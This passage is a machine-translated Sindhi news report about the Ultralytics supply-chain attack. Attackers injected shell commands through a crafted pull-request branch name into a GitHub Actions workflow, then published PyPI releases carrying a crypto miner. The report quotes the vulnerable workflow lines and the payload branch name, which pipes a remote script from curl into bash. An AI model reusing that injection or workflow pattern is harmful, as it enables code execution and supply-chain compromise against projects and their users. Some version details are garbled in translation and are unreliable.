حملو ڪندڙ الٽراليٽڪس پٿن لائبريري ريپوزٽري ۾ GitHub ايڪشن هينڊلر جي حقن سان ڪوڊ تي عمل ڪرڻ جي قابل هئا، جيڪو ڪمپيوٽر جي ويزن جي مسئلن کي حل ڪرڻ لاءِ استعمال ڪيو ويندو آهي جهڙوڪ تصويرن ۾ شيون ڳولڻ ۽ تصويرن کي ورهائڻ. مخزن تائين رسائي حاصل ڪرڻ کان پوء، حملي ڪندڙن PyPI ڊاريڪٽري ۾ ڪيترائي نوان الٽراليٽڪس رليز شايع ڪيا، جن ۾ cryptocurrency کان کني لاء بدسلوڪي تبديليون شامل آهن. گذريل مهيني دوران، Ultralytics لائبريري PyPI فهرست مان 6.4 ملين ڀيرا وڌيڪ ڊائون لوڊ ڪيو ويو آهي.
مخزن کي سمجهوتو ڪرڻ لاءِ، الٽراليٽڪس-ايڪشن پيڪيج ۾ هڪ ڪمزوري استعمال ڪئي وئي هئي، جيڪو استعمال ڪيو ويندو آهي خودڪار طريقي سان هلائيندڙن کي لانچ ڪرڻ لاءِ جڏهن ڪجهه ڪارناما GitHub تي ريپوزٽري تي ڪيا ويندا آهن GitHub ايڪشن ميڪانيزم استعمال ڪندي. الٽراليٽڪس پروجيڪٽ ۾، ڪمزور هينڊلر کي پابند ڪيو ويو pull_request_target واقعي ۽ سڏيو ويو جڏهن نئين پل جون درخواستون پهتيون. خاص طور تي، موڪليل پل درخواستن ۾ ڪوڊ کي فارميٽ ڪرڻ لاءِ، format.yml هينڊلر کي سڏيو ويو ۽ ايڪشن.yml فائل جي ”رن“ سيڪشن ۾ بيان ڪيل ڪوڊ تي عمل ڪيو ويو، جنهن ۾ شيل ڪمانڊ شامل هئا متبادل نمونن سان: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"
ان ڪري، پل جي درخواست ۾ ذڪر ڪيل گٽ شاخ جو نالو مناسب فرار ٿيڻ کان سواءِ شيل ڪمانڊ ۾ تبديل ڪيو ويو. اهو قابل ذڪر آهي ته آگسٽ ۾، ultralytics-actions پيڪيج اڳ ۾ ئي هڪ ساڳئي خطري کي طئي ڪيو آهي جيڪو گونج فنڪشن ۾ خارجي قدر جي استعمال سان لاڳاپيل آهي: echo “github.event.pull_request.head.ref: ${{ github.event.pull_request .head.ref }} »
GitHub ايڪشن هينڊلر جي حوالي سان انهن جي ڪوڊ جي عمل کي منظم ڪرڻ لاء، حملي ڪندڙن الٽراليٽڪس مخزن ڏانهن پل جي درخواست موڪلي، هيٺ ڏنل شاخ جو نالو بيان ڪندي: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
ان جي مطابق، جڏهن هڪ پل جي درخواست ملي هئي، حملي ڪندڙ-مخصوص اسٽرنگ "$(…)" ڪوڊ ۾ داخل ڪيو ويو، جيڪو، جڏهن هينڊلر کي بعد ۾ شروع ڪيو ويو، ڪوڊ جي عمل جي ڪري "curl -sSfL raw.githubusercontent. com/…/file.sh | bash"

GitHub عملن جي سلسلي ۾ رننگ ڪوڊ استعمال ڪري سگھجي ٿو مخزن جي رسائي ٽوڪن ۽ ٻين حساس ڊيٽا کي پڪڙڻ لاءِ. GitHub ايڪشنز ۾ انهن جي ڪوڊ کي عمل ڪرڻ جي صلاحيت رکندڙ حملي آورن هڪ رليز ڪيئن ٺاهي، اڃا تائين واضح نه آهي ته اهو ممڪن آهي ته publish.yml هينڊلر ۾ تبديلي جي ڪري (حملو ڪندڙن جي تصديق کي هٽايو ويو. اڪائونٽ جنهن کي PyPI ۾ رليز شايع ڪرڻ جي اجازت ڏني وئي آهي) ۽ ٽيڪنالاجي جي استعمال کي زهر ڏيڻ GitHub ايڪشن تعمير ڪيش توهان جي ڊيٽا کي رليز ۾ داخل ڪرڻ لاءِ.
الٽرا لائيٽڪس 8.3.41 جي پهرين خراب رليز حملي آورن پاران PyPI تي 4 ڊسمبر تي رات 23:51 تي (MSK) شايع ڪئي وئي ۽ ٻئي ڏينهن 12:15 تي هٽائي وئي. 15:47 PM تي، ٻي رليز، 8.3.42، پوسٽ ڪئي وئي ۽ شام 16:47 تي هٽائي وئي. اهڙيءَ طرح، خراب ورزن تقريبن 13 ڪلاڪن لاءِ ڊائون لوڊ لاءِ موجود هئا (PyPI في ڏينهن الٽرا لائيٽڪس لائبريري جا تقريباً 250 ڊائون لوڊ رڪارڊ ڪري ٿو). رليز 8.3.41 ۽ 8.3.42 ۾ ڪوڊ شامل هو جيڪو هڪ خارجي کان ڊائون لوڊ ڪيو ويو هو. سرور ڪرپٽو ڪرنسي مائننگ لاءِ XMRig جزو.
پروجيڪٽ ڊولپرز اهو مسئلو حل ڪيو ۽ 8.3.43 ۽ 8.3.44 کي سڌاريندڙ رليز ٺاهيا، پر ٻن ڏينهن کان پوءِ هڪ ٻيو حملو ڪيو ويو، جنهن دوران حملي آورن اڄ 04:41 ۽ 05:27 تي ٻه اضافي خراب ريليز شايع ڪيا (MSK) - 8.3.45. 8.3.46 ۽ 8.3.44، جنهن ۾ ٻيا مائننگ ڪوڊ شامل آهن. تحقيق جي پڄاڻي تائين، صارفين کي صلاح ڏني وئي آهي ته هو نون ورجن کي انسٽال ڪرڻ بند ڪن ۽ رليز XNUMX کي انحصار جي طور تي درست ڪن.
جو ذريعو: opennet.ru
